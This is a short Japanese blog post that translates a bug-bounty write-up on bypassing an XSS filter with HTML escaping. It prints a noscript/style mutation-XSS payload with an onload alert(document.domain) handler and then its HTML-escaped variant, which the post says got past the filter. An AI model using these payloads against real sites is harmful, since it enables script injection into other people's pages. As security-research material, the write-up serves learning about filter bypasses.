Shikata Ga Nai

Private? There is no such things.

Bypass XSS filter using HTML Escapeを訳してみた

Hello there, ('ω')ノ

 

HTMLエスケープを使用してXSSフィルタのバイパスを。

 

脆弱性:

 XSS

 

記事:

 https://medium.com/@adonkidz7/bypass-xss-filter-using-html-escape-f2e06bebc8c3

 

システムのバグがすべて修正された後、まだ興味があったので。

さらに試してみるとcspによってブロックされているため

下記のペイロードは、失敗して。

 

<noscript> <p title=” </noscript>
<style onload= alert(document.domain)//”>

*{/*all*/color/*all*/:/*all*/#f78fb3/*all*/;} </style>

 

f:id:ThisIsOne:20211217131331p:plain

 

次に、ペイロードでHTMLエスケープを使用して試してみることに。

下記は、HTMLエスケープを使用した最終的なペイロードで。


<noscript> &amp;lt;p title=” &lt;/noscript&gt;
&lt;style onload= alert(document.domain)//&quot;&gt;

*{/*all*/color/*all*/:/*all*/#f78fb3/*all*/;} &lt;/style&gt;

 

f:id:ThisIsOne:20211217131303p:plain

 

f:id:ThisIsOne:20211217131231p:plain

 

W3cubToolsのHTMLエスケープツールを使用して。

XSSフィルタをバイパスすることができて。

 

 https://tools.w3cub.com/html-escape-unescape

f:id:ThisIsOne:20211217132836p:plain

 

Best regards, (^^ゞ